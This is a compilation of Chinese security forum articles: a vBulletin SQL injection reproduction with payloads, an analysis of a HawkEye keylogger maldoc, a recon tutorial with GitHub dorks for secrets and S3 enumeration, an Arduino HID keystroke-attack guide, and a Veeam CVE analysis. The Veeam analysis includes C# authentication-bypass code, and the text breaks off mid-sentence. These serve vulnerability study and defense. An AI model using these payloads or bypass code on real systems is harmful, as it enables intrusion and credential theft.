PS：本文中所用到的开源防火墙PfSense镜像以及软件，可以关注“TideSec安全团队”公众号回复”工业防火墙”获取。
## 关注我们-TideSec安全团队
Tide安全团队正式成立于2019年1月，是以互联网攻防技术研究为目标的安全团队，目前聚集了十多位专业的安全攻防技术研究人员，专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
想了解更多Tide安全团队，请关注团队官网:
[http://www.TideSec.net](https://links.jianshu.com/go?to=http%3A%2F%2Fwww.TideSec.net)
或关注公众号： | 社区文章 |
## vBulletin5 5.6.1 SQL注入漏洞
## 安装
php=7.2.10
步骤如下：
1. 将config.php.bkp重命名为config.php（ren config.php.bkp config.php）
2. 进入/ upload / core / includes目录。
3. 将config.php.new重命名为config.php（ren config.php.new config.php）
4. 编辑config.php并更改这些值以匹配您的信息。
* $ config ['Database'] ['dbname'] ='数据库名称';
* $ config ['Database'] ['technicalemail'] ='[email protected] ';
* $ config ['MasterServer'] ['servername'] ='localhost'; //可以称为主机名
* $ config ['MasterServer'] ['port'] = 3306;
* $ config ['MasterServer'] ['username'] ='用户名';
* $ config ['MasterServer'] ['password'] ='密码';
* 对于vBulletin Connect的基本安装，无需在此文件中更改其他值。
5. **将htaccess.txt重命名为.htaccess**
6. 其他按照系统引导安装就行
7. 安装成功后要记得删除/ upload / core /install目录
成功后如图：
## 漏洞描述
cve披露的信息似乎比较轻描淡写：
5.5.6pl1之前的vBulletin，5.6.0pl1之前的5.6.0和5.6.1pl1之前的5.6.1具有错误的访问控制。
实际是nodeId未授权sql注入漏洞，且危害较大。
## 影响范围
vBulletin 5.5.6pl1之前版本
vBulletin 5.6.0pl1之前的5.6.0版本
vBulletin 5.6.1pl1之前的5.6.1版本
## 复现
payload：
nodeId[nodeid]=1 AND text.nodeid = 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,user(),19,20,21,22,23,24,25,26--
## 分析
**vBulletin在/core/vb/api/实现ajax API调用**
下面是栈调用情况
### 详细分析
payload：
`nodeId[nodeid]=1 UNION SELECT
26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"cve-2020-12720",8,7,6,5,4,3,2,1;--`
首先要说的是：
vB_Api_Content_Infraction继承于vB_Api_Content_Text
而vB_Api_Content_Text继承于vB_Api_Content
因此vB_Api_Content_Infraction拥有vB_Api_Content的方法
vB_Library_Content_Infraction也是同理
下图是类的继承关系：
下面我们来看vB_Api_Content->getIndexableContent（upload/core/vb/api/content.php）:
调用了vB_Library_Content->getIndexableContent（upload/core/vb/library/content.php）：
向下跳转，调用fillContentTableData
具体方法如下：
调用了getRow（upload/core/vb/db/assertor.php）：
因为getRow传入getContentTablesData方法，我们跟进getContentTablesData（upload/core/packages/vbforum/db/mysql/querydefs.php）
调用cleanArray进行数据清洗：（upload/core/vb/cleaner.php）
进一步调用clean():
因为vartype为0，跳转到doclean方法（const CONVERT_SINGLE = 100）：
因为type为0，直接跳转到TYPE_NOCLEAN（因为const TYPE_NOCLEAN = 0;）：
经过清洗后返回的数据依然不变：
最后返回：
直接拼接不做处理
最后返回结果：
## 修复建议
官方已发布最新安全补丁，请及时更新补丁：
<https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1>
## 参考
<https://www.exploit-db.com/exploits/48472>
<https://www.tenable.com/blog/cve-2020-12720-vbulletin-urges-users-to-patch-undisclosed-security-vulnerability> | 社区文章 |
# 一个使用cve-2017-11882和cve-2018-0802组合漏洞的恶意文档分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日截获一个扩展名为doc的word文档攻击样本，其格式其实是RTF格式。通过分析该文档组合利用了cve-2017-11882和cve-2018-0802漏洞，并且使用内嵌的excel对象用于触发漏洞。释放的PE文件用于搜集目标用户的敏感信息。
## 一、基本情况
在实验环境（win764、office2010）打开文档，进行进程监控，发现winword进程执行后，首先执行excel.exe，然后运行EQNEDT32.exe，接着运行cmd.exe，最后运行进程A.X，其中EQNEDT32.exe运行了两次。看到EQNEDT32.exe，瓶感觉应该是cve-2017-11882或者cve-2018-0802的样本。
文档打开后，显示为空文档，如下图所示。
上图中，不经意可能就以为是空的，其实细看，发现有左上方一个小黑点的图标在。如下图所示。
双击后，发现弹出窗口，如下图所示。显示“windows 无法打开此文件：A.X”。很明显，该“小黑点”应该是一个外部链接对象。
右键点击该对象，选择“包装程序外壳对象”对象，可以查看该对象的“属性”。如下图所示。
其对象属性如下图所示：
看到这里，我们大致就可以断定：该样本应该是是利用RTF嵌入一个PE对象，在打开文档的时候会默认释放到%temp%目录下，然后利用cve-2017-11882或者cve-2018-0802执行该进程。
## 二、RTF分析
### 1、文档结构分析
利用rtfobj攻击对文档进行分析，发现其内嵌两个对象，分别是一个package对象和一个Excel.Sheet.8对象。如图所示。Package对象原文件是“C:\\\Users\\\n3o\\\AppData\\\Local\\\Microsoft\\\Windows\\\INetCache\\\Content.Word\\\A.X”。从这个可以看出，该文档的作者操作系统用户名为：n3o。
其中A.X就是释放的恶意PE文件。
另外一个是内嵌入的excel表对象，我们把提取的excel表后缀改名为.xls后用excel打开。发现其包含两个对象AAAA和bbbb，都是“Equation.3”对象，如下图所示。
对提取的excel表对象，其文档结构如下图所示。
表中包括了两个CLSID为“0002ce02-0000-0000-c000-000000000046”（Microsoft 公式
3.0）的对象MBD0002E630和MBD0002E631，可以看到修改时间为2018/5/21 17:52。
此外，两个“Microsoft 公式 3.0”对象的Ole10Native大小分别为59字节和160个字节，里面包含了“cmd.exe /c
%tmp%\A.X”字样用于执行A.X进程。应该是组合使用了cve-2017-11882和cve-2018-0802两个漏洞。
至此，我们可以基本分析清楚了该样本，总体流程图如下下图所示。
### 2、静态文档
用winhex打开，可以发现第一个package对象，位于
文件的0x2A8A处。其中0x00137158指的是对象的大小，也就是十进制1274200，正是释放的A.X的大小。紧跟其后的就是PE文件，在winhex中我们可以看到，作者把PE头0x4D5A进行了修改，在中间插入0x090d进行分割，使其变成[0x090d]4[0x090d]d[0x090d]5[0x090d]a[0x090d]，其实就是0x4d5a，这样的操作应该是为了避免某些杀软的查杀，不直接以0x4d5a9000的样子呈现，一看就明显是PE文件。具体如下图所示：
另一个对象在0x299061位置处，是一个Exce.Sheet.8对象。其大小是0x00005C00，也就是十进制23552，和rtfobj提取的exel大小一致。作者也对复合文档的头进行了变化，用0x0909进行分割，使得d0cf11开头的复合文档变成了d[0x0909]0[0x0909]。应该也是一定意义上的免杀混淆操作。具体如下图所示：
## 三、PE文件分析
### 1、实体文件
释放的实体文件名字为A.X，大小为1274200。
属性如下图所示。
内含的数字签名如下图所示：
该PE文件是用VB语言编写32位程序，以下是PE查看信息。
File Compression State : 0 (Not Compressed)
File Type : 32-Bit Exe (Subsystem : Win GUI / 2), Size : 1274200 (0137158h) Byte(s) | Machine: 0x14C (I386)
Compilation TimeStamp : 0x38215CB8 -> Thu 04th Nov 1999 10:15:20 (GMT)
[TimeStamp] 0x38215CB8 -> Thu 04th Nov 1999 10:15:20 (GMT) | PE Header | - | Offset: 0x000000C0 | VA: 0x004000C0 | -
-> File Appears to be Digitally Signed @ Offset 0BD000h, size : 01678h / 05752 byte(s)
-> File has 494304 (078AE0h) bytes of appended data starting at offset 0BE678h
[LoadConfig] CodeIntegrity -> Flags 0xA3F0 | Catalog 0x46 (70) | Catalog Offset 0x2000001 | Reserved 0x46A4A0
[LoadConfig] GuardAddressTakenIatEntryTable 0x8000011 | Count 0x46A558 (4629848)
[LoadConfig] GuardLongJumpTargetTable 0x8000001 | Count 0x46A5F8 (4630008)
[LoadConfig] HybridMetadataPointer 0x8000011 | DynamicValueRelocTable 0x46A66C
[LoadConfig] FailFastIndirectProc 0x8000011 | FailFastPointer 0x46C360
[LoadConfig] UnknownZero1 0x8000011
[File Heuristics] -> Flag #1 : 00000000000000000000000000000100 (0x00000004)
[Entrypoint Section Entropy] : 7.42 (section #0) ".text " | Size : 0xB71C0 (750016) byte(s)
[DllCharacteristics] -> Flag : (0x0000) -> NONE
[SectionCount] 3 (0x3) | ImageSize 0xBD000 (774144) byte(s)
[VersionInfo] Product Name : CUFFIN10
[VersionInfo] Product Version : 3.05.0004
[VersionInfo] File Description : BARTRAMIA1
[VersionInfo] File Version : 3.05.0004
[VersionInfo] Original FileName : Moistness9.exe
[VersionInfo] Internal Name : Moistness9
[ModuleReport] [IAT] Modules -> MSVBVM60.DLL
[!] File appears to have no protection or is using an unknown protection
- Scan Took : 0.531 Second(s) [000000213h (531) tick(s)] [566 of 580 scan(s) done]
### 2、网络连接
A.X运行后，连接104.16.18.96的80端口，以及208.91.198.143的587端口。如下图所示。
其中80端口连接的是<https://whatismyipaddress.com/>网站用于获取本地机器的外网IP地址。不过在测试中发现目前该程序无法通过该网站获取IP地址信息，返回403错误。具体如下图所示：
587端口的数据则是SMTP数据包，用来把本地获取的信息发送出去。发送和接收的email地址都是[email protected],
邮件标题为是HawkEye Keylogger | Stealer Records | 机器名| 0FABFBFF000506E3。
获取的数据包如下图所示：
发送的内容经Base64解密后如下，包括本地机器名，操作系统语言与版本，ip地址、安装的杀毒软件和防火墙信息，浏览器密码信息，Mail
Messenger密码，Jdownloader密码等。具体如下表所示：
==============================================
Operating System Intel Recovery
==============================================
PC Name: WIN-A4B0N3V4K81
Local Time: 2018/12/21 11:26:25
Installed Language: zh-CN
Net Version: 2.0.50727.5420
Operating System Platform: Win32NT
Operating System Version: 6.1.7601.65536
Operating System: Microsoft Windows 7 旗舰版
Internal IP Address: 192.168.92.144
External IP Address:
Installed Anti-Virus:
Installed Firewall:
==============================================
WEB Browser Password Stealer
==============================================
==============================================
Mail Messenger Password Stealer
==============================================
==============================================
Internet Download Manager Stealer
==============================================
==============================================
JDownloader Password Stealer
==============================================
根据获取的邮箱帐号和密码，登录该邮箱发现了上百个目标。邮箱内保存的是2018年10月以来的数据，有些已经被删除了。如下图所示。
### 3、启动方式和自保护
A.X运行后，会拷贝自身文件到%appdata%\WindowsUpdate.exe，并启动进程实时保护，如果该目录下WindowsUpdate.exe被删除，则又会生成。此外，还在注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run下生成启动项Windows
Update，值为C:\Users\admin\AppData\Roaming\WindowsUpdate.exe，从而确保自启动。
此外，在%appdata%目录下，还生成pid.txt（恶意进程PID）和pidloc.txt（恶意进程可执行文件路径）两个文件。具体如下图所示：
### 4、域名解析
对smtp.lledil.com域名利用whois进行查询，其结果如下。
## 四、小结
通过分析，我们可知该文档是一个组合利用cve-2017-11882和cve-2018-0802漏洞的攻击文档，RTF格式通过内嵌EXCEL对象触发两个漏洞。释放运行的PE文件是一个用于搜集用户敏感信息（比如各种浏览器和邮件帐号密码）的恶意文件，敏感信息通过邮件发送的方式回传。通过发送的标题“Hawkeye
keylogger|Steal…”，怀疑该PE可能是著名的“Hawkeye Keylogger”，也称为“iSpy
Keylogger键盘记录器”，是一种窃取信息的恶意软件，作为恶意软件服务出售。
### IoC
DOC文档（RTF）：43f97093c3f812dce0e442c9be7a86a5
PE文件（A.X）：0ed7129ebd65f08a5c7f1f8fa668b72c
C&C：
smtp.lledil.com
[email protected] | 社区文章 |
# 【技术分享】渗透测试：如何开展前期侦察以及收集敏感信息
|
##### 译文声明
本文是翻译文章，文章来源：www.hackerone.com
原文地址：<https://www.hackerone.com/blog/how-to-recon-and-content-discovery>
译文仅供参考，具体内容表达以及含义原文为准。
作者：興趣使然的小胃
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、简介**
****
在攻击活动中，对目标的侦察扮演着非常重要的角色。目标侦察并不单单意味着找到隶属于某个公司的子域名，同样也意味着找出该公司的组织架构以及公司所掌握的资源。本文中，我们会结合多种不同的工具及资源，向大家介绍几种关于如何开展目标侦察的方法，帮助我们挖掘目标的子域名、内部资源、运行模式、秘密或私有密钥、API接口以及文件目录结构。恰到好处的目标侦察可以增加我们的攻击范围，给予我们更大的攻击空间，进而找出更多安全漏洞。
**二、暴力破解子域名**
****
传统意义上，在暴力破解子域名方面，大多数黑客会使用诸如[Sublist3r](https://github.com/aboul3la/Sublist3r)、[knockpy](https://github.com/guelfoweb/knock)或者[enumall](https://github.com/jhaddix/domain)之类的[工具](http://bugbountyforum.com/tools)，配合字典来暴破目标域名。这种方法适用于大多数应用场景，然而，我认为我们可以适当改造这种方法，以发挥其全部潜能。最初的暴破过程结束后，一旦我们确定了公司的子域名信息，那么接下来我们应该递归暴破目标公司所使用的具体环境。比如，如果某个公司具有“dashboard.dev.hackme.tld”这个子域名，那么我们应该根据这个信息，继续查找隐藏在“dev”环境之后的更多子域名。通过这种方式，我们有可能绕过目标实际生产环境中的限制，获取目标其他属性信息。
如果目标公司的内部资产隐藏于企业或内部子域名后（如tools.corp.hackme.tld或tools.internal.hackme.tld），我们也可以通过这种方法来枚举公司的内部资产。对corp/internal.hacketwo.com进行暴破后，我们可以枚举出更多属性信息，以扩展我们的攻击面。
**三、巧用Github**
****
我们可以使用Github来收集目标基础设施的相关信息。首先，我们可以在Github中搜索目标公司的名字或网站（如hackme.tld），检查有哪些文件或文档被推送到Github中。我们可以利用前面的搜索结果进一步缩小搜索范围，查找满足特定条件的信息。比如，如果我们在搜索“hackme.tld”时发现该目标使用了“us.hackme.tld”这个域名，用于内部应用（如JIRA或公司VPN），那么，在暴破“us.hackme.tld”子域名的同时，下一阶段我们的搜索重点可以转到“us.hackme.tld”。
Github同时还是寻找凭证及私有API密钥的理想之地。在搜索不同密钥的过程中，最难的一点是我们必须具备创新精神。抛砖引玉，我在Github上通常会搜索如下关键词：
“Hackme.tld” API_key
“Hackme.tld” secret_key
“Hackme.tld” aws_key
“Hackme.tld” Password
“Hackme.tld” FTP
“Hackme.tld” login
“Hackme.tld” github_token
我们也可以在Github上搜索与子域名有关的更多信息及开放接口。我曾在Github上通过搜索“api.hackme.tld”，找到过目标企业过去遗留的API接口，而这个接口信息可以追溯到几年之前。我们可以借助大量工具，自动化完成这项工作，充分节省搜索时间。但通常情况下，我个人喜欢手动完成这个过程，因为即使直接搜索那些关键词所得到的结果没有价值，我们通过肉眼检查可能包含上述关键词的文件，也可能会发现其他一些“有趣”的信息。
在Github上挖掘情报听起来像是一个非常好的主意，但一不小心我们还是会犯一些错误，比如：
1、我们可能会被某个第三方app误导，最后得出的结果偏离预期目标，或者拿到的信息与目标应用无关。
2、我们拿到的密钥可能过于陈旧，不再可用，或者已不属于目标公司。当然这些密钥也有可能是假的密钥，被人故意放到Github上的。
找到信息后再次检查是必不可少的一个过程，以确保所得信息与预期目标相符。
**四、巧用亚马逊云服务（AWS）**
****
AWS（Amazon Web Service，亚马逊云服务）拥有海量资源，已经在为数以千计不同行业的公司提供服务。有些公司使用AWS
s3存储桶（bucket）来托管公司内容，其他公司则用来部署及托管公司应用。与其他资源一样，AWS也可能被错误配置或被犯罪分子滥用。比如，我们经常会发现某些公司错误配置了s3存储桶，导致公司之外的用户能够读写属于该公司存储桶上的文件。
我们可以结合几种不同的方法来发现这些突破口：
1、在Google上搜索：site:s3.amazonaws.com + hackme.tld
2、在Github上搜索：“hackme.tld” + “s3”
3、我们可以暴破AWS，查找特定的s3存储桶，也可以通过自动化操作加速这一过程。
[Lazys3](http://github.com/nahamsec/lazys3)正是基于第3种方法构建的一个工具。该工具使用了一个包含常见的s3存储桶列表的字典，通过不同的模式及排列组合，抓取目标服务器的响应头部，如果响应代码不是404错误代码，那么就会返回相应结果。比如，如果我们正在搜索hackme.tld名下的s3存储桶，该工具就会逐一测试字典中的每个条目，组合不同模式进行查找（比如：attachments-dev.hackme.tld、attachments.dev.hackme.tld、attachmentsdev.hackme.tld等），如果响应代码为200或403，就返回对应的信息。
如上图所示，我们使用lazys3查找dev环境下名为“assets”的存储桶。当前版本仅支持输出已存在的存储桶。
虽然暴破亚马逊云服务、查找其上托管的不同应用有助于拓宽我们的攻击面，但我们有可能会犯如下错误：
1、虽然s3存储桶可能暗示它属于某个公司，但实际上该公司并没有拥有或管理这个存储桶。
2、由于各种原因（比如第三方应用的存在），我们所得结果可能与预期效果不一致。我们可能拥有s3存储桶的读取权限，但存储桶上的文件并不包含敏感信息。
此外，我们要时刻提醒自己检查所得结果，在反馈问题的时候，如果这些问题属于上述类别问题，那么问题可能不会得到承认。
**五、资产识别**
****
我们还可以使用诸如Censys、Shodan或者archive.org等资产识别工具，用以补充前文提到的方法，进一步扩展我们的攻击面。
**Censys.io**
Censys在扫描IP地址、收集不同端口的指纹信息方面卓有成效。我们可以借助Censys，通过分析目标属性有关的SSL证书，找出目标的内部工具及资产信息。我们可以组合各种查询方法及语法来使用[censys](https://censys.io/overview)，但就我个人而言，我更喜欢根据目标的SSL证书梳理目标相关信息。比如，我们可以使用“443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:Yahoo.com”这个查询语句，搜索指向Yahoo.com的任何子域名或者属性信息。
与其他工具类似，我们也可以进一步优化Censys上的搜索结果。创造力始终是目标侦察上的关键因素。我曾经通过随机组合查询语句（如“hackme.tld” +
internal，或其他关键词），找到之前搜索时未发现的独特属性，这种情况已经出现过很多次。
**Shodan.io**
Shodan与censys类似，但不同的是Shodan可以搜索每个IP地址，查找该IP地址开放的任何端口，同时生成大量数据，允许用户指定地理位置、拥有该IP地址的组织、开放端口、产品服务（apache、tomcat、nginx等）、主机名及其他元素来过滤查询结果。
比如，如果我们想查找hackme.tld是否在默认端口上开放任何RabbitMQ服务，我们可以搜索“hostname:hackme.tld
org:hackme
ports:15672”。如果我们想查找特定产品（比如tomcat），我们也可以将查询语句中的端口关键词改为“product”关键词，此时查询语句变为：“hostname:hackme.tld
org:hackme product:tomcat”。
Shodan创始人John
Matherly写过名为“[Shodan完整指南](https://leanpub.com/shodan)”的一篇文章，我们可以阅读这篇文章了解关于Shodan的更多信息。
**Archive.org**
Archive.org是另一个非常有用的参考来源，我们可以在上面找到网站之前的robots.txt文件，其中可能包含陈旧端点及其他敏感信息，也可以挖掘网站之前的版本信息，以分析站点源、收集更多信息，也可以找到被管理员遗忘的老的子域名及研发环境。只要访问Archive.org，搜索目标站点，选择过去的某个日期（可能是过去的一年或两年的某个日期），然后随便点击目标网站即可。
有些工具已经能够自动化完成这一工作了。我们可以使用[waybackurl.py](https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050)以及[waybackrobots.txt](https://gist.github.com/mhmdiaa/2742c5e147d49a804b408bfed3d32d07)这两个工具，找出我们想要的所有信息，静静等待输出结果即可。
我们也可以在Archive.org上找到网站之前的JavaScript文件，这些文件现在有可能还能访问。通过这种办法，我们可以找到与目标有关的已经过时的功能及端点。
搜集到一堆过去的以及新的JavaScript文件后，我们可以使用[JSParser](http://github.com/nahamsec/JSParser)这个工具，从这些JavaScript文件中挖掘所有的端点信息。
**
**
**六、总结**
****
侦察过程不单单是简单地运行一堆工具、查找目标属性信息而已，更多情况下，侦察过程需要我们首先对目标有所了解，能够灵活利用这些工具，通过各种方式组合使用这些工具，同时发挥我们自己的创造力，这样才能找到更多结果。本文并没有覆盖侦察过程中涉及的所有可能的方法，然而，结合本文提到的这些方法，在运用工具的过程中善于思考，引入更有创意的其他方法总是一个不错的开头。 | 社区文章 |
**什么是Arduino？**
Arduino是一个开发各类设备，让你比台式电脑更能充分感知和控制物理世界的生态系统。Arduino是一个基于一系列单片机电路板的开源物理计算平台，一个编写用于Arduino和Genuino开发板的软件开发环境和一个拥有活跃开发者和用户社区。Arduino可用于开发交互式物体，接受来自各类开关或传感器的输入，并能控制各种灯光、马达和其他物理输出装置。Arduino项目可以单独运行，也可以与您计算机上运行的软件（Processing、MaxMSP）配合使用。您可以手动组装简单的开发板，或购买预装的整套开发板，
还可以免费下载开源Arduino软件(IDE)。
**Arduino 模块说明**
**Arduino电源**
Arduino Uno需要一个电源才能运行，并且可以通过多种方式供电。最简单的方式就是直接通过USB电缆将电路板连接到计算机。
**编程Arduino**
首先可以到arduino官网下载对应的开发IDE，链接<https://www.arduino.cc/en/Main/Software，安装过程简单，和安装普通的软件一样。安装后可以顺利打开。>
内置示例是Arduino软件（IDE）中包含的草图，单击工具栏菜单打开它们：文件>示例。这些简单的程序演示了所有基本的Arduino命令。它们从Sketch
Bare Minimum到Digital和Analog IO，再到Sensors和Displays的使用。
链接好开发板到电脑上可以直接编译程序并自动烧写到开发板上，一个简单的程序在已经在开发板上正常运行起来。而上面的例子程序有两个关键的函数定义，setup和loop，前者用于初始化开发板的相应设置，后者是程序的处理逻辑，并重复执行这个loop函数。整个程序的功能是启动开发板上内置的led灯亮一秒再灭一秒，一直循环，所以效果是led一直在有规律的闪动。
具体的编程都可以参考官方的说明文档或者到一些爱好者社区学习。
**改写arduino成HID键盘设备**
USB HID键盘符合标准USB规范，因此适用于所有现代操作系统。所有这些都可以通过使用Arduino设备固件更新（DFU）功能实现。Arduino
UNO上的Atmega8U2芯片可以使用称为设备固件更新（DFU）的特殊USB协议直接编程。这和使用Arduino
IDE向电路板直接烧写程序的“常规”方法完全不同
大致的操作流程为：
重置8u2或16u2
要验证您是否已重置8u2或16u2芯片：在Arduino编程环境中，检查串行端口列表，串口设备将不会再出现在设备列表中。
需要的工具和文件有
dfu-programmer, Arduino-keyboard-0.3.hex, Arduino-usbserial-uno.hex
这几个都可以直接在网上搜索找到(github)
第一步：dfu-programmer at90usb82 erase
第二步：dfu-programmer at90usb82 flash --debug 1 Arduino-usbserial.hex
第三步：dfu-programmer at90usb82 reset
第四步：通过查看Arduino软件的串行端口菜单来查看和验证新的设备。
第五步：用arduino ide烧写想要运行的程序到开发板上，和一开始烧写的led灯程序是一样的步骤。
第六步：dfu-programmer at90usb82 erase
第七步：dfu-programmer at90usb82 flash --debug 1 Arduino-keyboard-0.3.hex
第八步：dfu-programmer at90usb82 reset
此时已经把arduino变为hid设备来，接下来的重点是在编写应用程序上。
**HID Attack Demo Code**
攻击的原理是编写程序，让程序模拟键盘自动进行键盘敲击，通过运行win+R 输入cmd命令，进行系统攻击，部分功能代码如下：
验证过程可以把烧写改装好的开发板直接连接到windows机器上，稍等片刻可以看到系统已经在无人干扰的情况下自动执行了想应的程序，实现了我们的攻击，当然真正的攻击最简单的可以系统自带的powershell程序执行相应的攻击操作，例如植入系统后门等。
附件：
BY:广州竞远安全技术股份有限公司 | 社区文章 |
看推特又爆了cve，感觉挺牛逼的洞，于是分析一手。
# 官方公告
<https://www.veeam.com/kb4288>
> The Veeam Distribution Service (TCP 9380 by default) allows unauthenticated
> users to access internal API functions. A remote attacker may send input to
> the internal API which may lead to uploading and executing of malicious
> code.
漏洞描述说是tcp9380服务出了问题，直接分析就行了。
# 环境
[VeeamBackup &
Replication_11.0.1.1261_20211211.iso](https://download2.veeam.com/VBR/v11/VeeamBackup&Replication_11.0.1.1261_20211211.iso)
还有补丁包VeeamBackup&Replication_11.0.1.1261_20220302.zip的[下载地址](https://download2.veeam.com/VBR/v11/VeeamBackup&Replication_11.0.1.1261_20220302.zip)
搭建过程就不说了，[参考官方文档](https://helpcenter.veeam.com/docs/backup/vsphere/install_vbr.html?ver=110)
**需要注意的是1和2都需要装**
# 分析
在我分析的时候遇到了几个问题，最关键的就是怎么构造参数通过tcp传递给服务器，踩了很多坑，接下来的分析我分为三部分写。
## 寻找漏洞点
先找到9380端口占用的程序
定位到`Veeam.Backup.Agent.ConfigurationService.exe`
发现是个服务程序
在OnStart中监听两个端口
_negotiateServer监听9380 _sslServer监听9381，接下来是tcp编程常见的写法，开线程传递委托，最终处理函数为
`Veeam.Backup.ServiceLib.CInvokerServer.HandleTcpRequest(object)`，在这个函数中有鉴权处理
跟入
`Veeam.Backup.ServiceLib.CForeignInvokerNegotiateAuthenticator.Authenticate(Socket)`
这个地方的鉴权可以被绕过，使用空账号密码来连接即可，绕过代码如下
internal class Program
{
static TcpClient client = null;
static void Main(string[] args)
{
IPAddress ipAddress = IPAddress.Parse("172.16.16.76");
IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);
client = new TcpClient();
client.Connect(remoteEP);
Console.WriteLine("Client connected to {0}.", remoteEP.ToString());
NetworkStream clientStream = client.GetStream();
NegotiateStream authStream = new NegotiateStream(clientStream, false);
try
{
NetworkCredential netcred = new NetworkCredential("", "");
authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
}
catch (Exception e)
{
Console.WriteLine(e);
}
finally
{
authStream.Close();
}
Console.ReadKey();
}
}
dnspy附加进程调试之后，发现成功绕过鉴权返回result
接着跟入又是tcp编程的写法，异步callback，关键函数在`Veeam.Backup.ServiceLib.CInvokerServer.ExecThreadProc(object)`
tcp压缩数据流通过ReadCompressedString读出字符串，然后通过`CForeignInvokerParams.GetContext(text)`获取上下文，然后交由`this.DoExecute(context,
cconnectionState)`进行分发调用。
在GetContext函数中
public static CSpecDeserializationContext GetContext(string xml)
{
return new CSpecDeserializationContext(xml);
}
将字符串交给CSpecDeserializationContext构造函数
说明我们向服务端发送的tcp数据流应该是一个压缩之后的xml字符串，需要正确构造xml。那么需要什么样格式呢？
先来看DoExecute()
GetOrCreateExecuter()是拿到被执行者Executer
根据传入参数不同分别返回三个不同的Executer
1. CInvokerServerRetryExecuter 重试Executer
2. CInvokerServerAsyncExecuter 异步Executer
3. CInvokerServerSyncExecuter 同步Executer
获取到Executer之后进入Executer的Execute()函数，Execute()来自于IInvokerServerExecuter接口，分析实现类刚好就是上面的三个类
在CInvokerServerSyncExecuter同步执行类的Execute函数中，调用`this._specExecuter.Execute(context,
state)`继续往下分发
而_specExecuter字段的类型也是一个接口IInvokerServerSpecExecuter，有三个实现类。
在`Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext,
CConnectionState)`中可以很敏感的看到upload相关的东西
private string Execute(CForeignInvokerParams invokerParams, string certificateThumbprint, string remoteHostAddress)
{
CConfigurationServiceBaseSpec cconfigurationServiceBaseSpec = (CConfigurationServiceBaseSpec)invokerParams.Spec;
CInputXmlData cinputXmlData = new CInputXmlData("RIResponse");
cinputXmlData.SetBool("PersistentConnection", true);
string text = ((EConfigurationServiceMethod)cconfigurationServiceBaseSpec.Method).ToString();
Log.Message("Command '{0}' ({1})", new object[]
{
text,
remoteHostAddress
});
EConfigurationServiceMethod method = (EConfigurationServiceMethod)cconfigurationServiceBaseSpec.Method;
switch (method)
{
........省略.......
case EConfigurationServiceMethod.UploadManagerGetFolders:
CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerGetFolders((CConfigurationServiceUploadManagerGetFolders)cconfigurationServiceBaseSpec, cinputXmlData);
goto IL_1B1;
case EConfigurationServiceMethod.UploadManagerIsFileInCache:
CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerIsFileInCache((CConfigurationServiceUploadManagerIsFileInCache)cconfigurationServiceBaseSpec, cinputXmlData);
goto IL_1B1;
case EConfigurationServiceMethod.UploadManagerPerformUpload:
CEpAgentConfigurationServiceExecuter.ExecuteUploadManagerPerformUpload((CConfigurationServiceUploadManagerPerformUpload)cconfigurationServiceBaseSpec, cinputXmlData);
goto IL_1B1;
default:
if (method == EConfigurationServiceMethod.Disconnect)
{
CEpAgentConfigurationServiceExecuter.ExecuteDisconnect();
goto IL_1B1;
}
break;
}
throw new Exception("Failed to process command '" + text + "': Executer not implemented");
IL_1B1:
return cinputXmlData.Serial();
}
其中case到UploadManagerPerformUpload时，进入ExecuteUploadManagerPerformUpload函数处理文件上传
private static void ExecuteUploadManagerPerformUpload(CConfigurationServiceUploadManagerPerformUpload spec, CInputXmlData response)
{
string host = spec.Host;
if (!File.Exists(spec.FileProxyPath))
{
throw new Exception(string.Concat(new string[]
{
"Failed to upload file '",
spec.FileProxyPath,
"' to host ",
host,
": File doesn't exist in cache"
}));
}
string value;
if (spec.IsWindows)
{
if (spec.IsFix)
{
value = CEpAgentConfigurationServiceExecuter.UploadWindowsFix(spec);
}
else
{
if (!spec.IsPackage)
{
throw new Exception(string.Concat(new string[]
{
"Fatal logic error: Failed to upload file '",
spec.FileProxyPath,
"' to host ",
host,
": Unexpected upload task type"
}));
}
value = CEpAgentConfigurationServiceExecuter.UploadWindowsPackage(spec);
}
}
else
{
if (!spec.IsLinux)
{
throw new Exception(string.Concat(new string[]
{
"Fatal logic error: Failed to upload file '",
spec.FileProxyPath,
"' to host ",
host,
": Unexpected target host type"
}));
}
value = CEpAgentConfigurationServiceExecuter.UploadLinuxPackage(spec);
}
response.SetString("RemotePath", value);
}
分别有三个UploadWindowsFix、UploadWindowsPackage、UploadLinuxPackage函数，跟到UploadWindowsPackage中看到UploadFile函数
在UploadFile函数中将localPath读取然后写入到remotePath中。
如果把远程主机赋值为127.0.0.1，我们就可以在目标机器上任意复制文件。
## 构造payload
在整个调用过程中，我遇到了多个问题，下面分步骤讲解
1. CForeignInvokerParams.GetContext(text);
2. GetOrCreateExecuter
3. Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext, CConnectionState)
在上文分析中我们知道，需要让程序的Executer设置为CInvokerServerSyncExecuter实例。而在GetOrCreateExecuter取Executer实例时是根据CForeignInvokerParams.GetContext(text)的值来决定的。上文追溯到了这里CSpecDeserializationContext的构造函数
几个必填字段
1. FIData
2. FISpec
3. FISessionId
CInputXmlData FIData = new CInputXmlData("FIData");
CInputXmlData FISpec = new CInputXmlData("FISpec");
FISpec.SetGuid("FISessionId", Guid.Empty);
FIData.InjectChild(FISpec);
将FISessionId赋值为Guid.Empty即可拿到CInvokerServerSyncExecuter
接着来看还需要什么，在
`Veeam.Backup.EpAgent.ConfigurationService.CEpAgentConfigurationServiceExecuter.Execute(CSpecDeserializationContext,
